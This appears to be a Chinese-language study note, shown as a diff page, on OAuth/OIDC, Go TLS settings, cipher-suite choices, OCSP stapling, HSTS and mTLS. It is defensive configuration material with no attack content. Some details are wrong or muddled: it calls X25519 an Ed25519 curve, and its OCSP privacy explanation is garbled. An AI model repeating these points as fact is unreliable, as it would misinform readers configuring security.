next(w, r)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## OAuth 2.0 vs OpenID Connect (OIDC)
|
||||
|
||||
| 协议 | 定位 | 典型场景 | 返回内容 |
|
||||
|------|------|---------|---------|
|
||||
| **OAuth 2.0** | Authorization Framework | 第三方代用户操作(微信登录、GitHub 授权) | access_token(有时有 refresh_token)|
|
||||
| **OIDC** | Authentication Overlay on OAuth 2.0 | 身份验证(确认"你是谁") | id_token (JWT) + user info |
|
||||
|
||||
```go
|
||||
// OAuth 2.0 Authorization Code Flow 简化版
|
||||
func oauthLoginHandler(w http.ResponseWriter, r *http.Request) {
|
||||
state := randomState()
|
||||
url := fmt.Sprintf(
|
||||
"https://github.com/login/oauth/authorize?client_id=%s&redirect_uri=%s&state=%s",
|
||||
clientID, redirectURI, state,
|
||||
)
|
||||
http.Redirect(w, r, url, http.StatusFound)
|
||||
}
|
||||
|
||||
func oauthCallbackHandler(w http.ResponseWriter, r *http.Request) {
|
||||
// 1. 验证 state 防 CSRF
|
||||
// 2. code exchange → access_token
|
||||
token, _ := client.Exchange(ctx, r.URL.Query().Get("code"))
|
||||
// 3. use token to fetch user info
|
||||
user, _ := client.UserInfos.Get(token)
|
||||
}
|
||||
```
|
||||
|
||||
## TLS 安全最佳实践
|
||||
|
||||
### TLS 版本与 Cipher Suite 选择
|
||||
|
||||
```go
|
||||
import "crypto/tls"
|
||||
|
||||
// ✅ Go 中生产环境 TLS 配置
|
||||
tlsConfig := &tls.Config{
|
||||
MinVersion: tls.VersionTLS12, // 最低 TLS 1.2(TLS 1.3 优先)
|
||||
MaxVersion: tls.VersionTLS13, // 限制在 1.3(更安全、更快)
|
||||
|
||||
// 首选 Elliptic Curve
|
||||
CurvePreferences: []tls.CurveID{
|
||||
tls.X25519, // 首选 Ed25519 曲线(最快最安全)
|
||||
tls.CurveP256, // NIST P-256(广泛兼容)
|
||||
},
|
||||
|
||||
// ALPN 协商(告诉客户端用什么应用层协议)
|
||||
NextProtos: []string{"h2", "http/1.1"},
|
||||
|
||||
// 服务器优先选择 cipher suite
|
||||
PreferServerCipherSuites: true,
|
||||
|
||||
// RC4 必须禁用(已知弱点)
|
||||
// Go 1.15+ 已移除所有 RC4 cipher suite
|
||||
}
|
||||
```
|
||||
|
||||
### 推荐与禁用的 Cipher Suite 速查
|
||||
|
||||
```
|
||||
✅ 推荐使用 (TLS 1.3):
|
||||
├── TLS_AES_256_GCM_SHA384 (首选)
|
||||
├── TLS_CHACHA20_POLY1305_SHA256 (移动端友好)
|
||||
└── TLS_AES_128_GCM_SHA256 (备选)
|
||||
|
||||
⚠️ 勉强可用 (TLS 1.2):
|
||||
├── ECDHE-RSA-AES256-GCM-SHA384
|
||||
├── ECDHE-RSA-CHACHA20-POLY1305
|
||||
└── ECDHE-ECDSA-... (如果用的是 EC 证书)
|
||||
|
||||
❌ 必须禁用:
|
||||
├── RSA 密钥交换 (无前向保密 PFS)
|
||||
├── CBC 模式 (BEAST/Sweet32 攻击)
|
||||
├── SHA-1 哈希 (碰撞攻击)
|
||||
├── RC4 (严重泄漏漏洞)
|
||||
├── 3DES (Sweet32)
|
||||
└── 出口级加密 (export ciphers)
|
||||
```
|
||||
|
||||
### OCSP Stapling —— 证书吊销检查的优化
|
||||
|
||||
```
|
||||
传统 OCSP (慢 + 隐私泄露): OCSP Stapling (快 + 隐私保护):
|
||||
Browser → CA: Is cert valid? Server → CA: Fetch status + sign
|
||||
CA → Browser: Valid/Invalid Server caches stapled response
|
||||
Server → Browser: cert + stale Server sends: cert + signed assertion
|
||||
checking happens in browser Browser validates CA-signed assertion
|
||||
directly from server
|
||||
|
||||
问题: 优势:
|
||||
• 每次都要连 CA • 无需浏览器直连 CA
|
||||
• 暴露浏览习惯给 CA • 速度快 (缓存有效期内无需额外查询)
|
||||
• 有些 CA 响应慢 • 隐私好 (服务器知道你在访问谁)
|
||||
```
|
||||
|
||||
```nginx
|
||||
# Nginx 启用 OCSP Stapling
|
||||
ssl_stapling on;
|
||||
ssl_stapling_verify on;
|
||||
resolver 8.8.8.8 8.8.4.4 valid=300s;
|
||||
resolver_timeout 5s;
|
||||
|
||||
# 确保完整的证书链(包括 intermediate CA)
|
||||
ssl_trusted_certificate /etc/ssl/certs/fullchain.pem;
|
||||
```
|
||||
|
||||
### HSTS —— 强制 HTTPS
|
||||
|
||||
```bash
|
||||
# 告诉浏览器"此后只能用 HTTPS"
|
||||
$ curl -I https://example.com
|
||||
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
|
||||
|
||||
# 参数解读:
|
||||
# max-age=31536000 → 一年内所有请求自动转 HTTPS(60 天起步,建议一年)
|
||||
# includeSubDomains → 子域也适用
|
||||
# preload → 提交到浏览器预加载列表
|
||||
```
|
||||
|
||||
```bash
|
||||
# 提交到 HSTS Preload List
|
||||
$ curl https://hstspreload.org/api/v2/domain/example.com
|
||||
# 检查状态: pending / preloaded / opt-out
|
||||
|
||||
# Chrome/HSTS Preload 内置列表 ≈ 50000+ 域名
|
||||
# 一旦被 preload,即使第一次访问也不会发 HTTP 请求!
|
||||
```
|
||||
|
||||
## mTLS(双向 TLS 认证)
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant C as Client<br/>(持客户端证书)
|
||||
participant S as Server<br/>(持服务端证书)
|
||||
|
||||
C->>S: ClientHello + Client Certificate
|
||||
S->>C: ServerHello + Server Certificate
|
||||
Note over S,C: 双方互相验证书!
|
||||
S->>S: 验证客户端证书 CN/ SAN
|
||||
C->>C: 验证服务端证书 (常规)
|
||||
|
||||
alt 双方证书都有效
|
||||
Note over S,C: ✅ 建立 mTLS 连接
|
||||
else 客户端证书无效/过期
|
||||
S-->>C: Alert: bad_certificate 🔴
|
||||
end
|
||||
```
|
||||
|
||||
```bash
|
||||
# 生成客户端证书
|
||||
openssl req -newkey rsa:2048 -nodes -keyout client.key -out client.csr -subj "/CN=user1"
|
||||
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial \
|
||||
-out client.crt -days 365 -extfile client.ext
|
||||
|
||||
# Nginx 启用 mTLS
|
||||
ssl_certificate /etc/ssl/server.crt;
|
||||
ssl_certificate_key /etc/ssl/server.key;
|
||||
ssl_client_certificate /etc/ssl/ca.crt; # CA 根证书
|
||||
ssl_verify_client on; # on / optional / off
|
||||
```
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[hhs/NETWORK/TLS安全实践]] — OCSP Stapling / HSTS / Cipher Suite 的详细展开
|
||||
- [[hhs/NETWORK/DdoS与MITM防御]] — DDoS MitM 的互补安全知识
|
||||
- [[hhs/NETWORK/Web应用攻击面]] — CSRF/XSS/XXE 的 Web 应用防护
|
||||
- [[hhs/OAuth2/01-OAuth2基础]] — OAuth 2.0 的完整流程详解(如已创建)
|
||||
Reference in New Issue
Block a user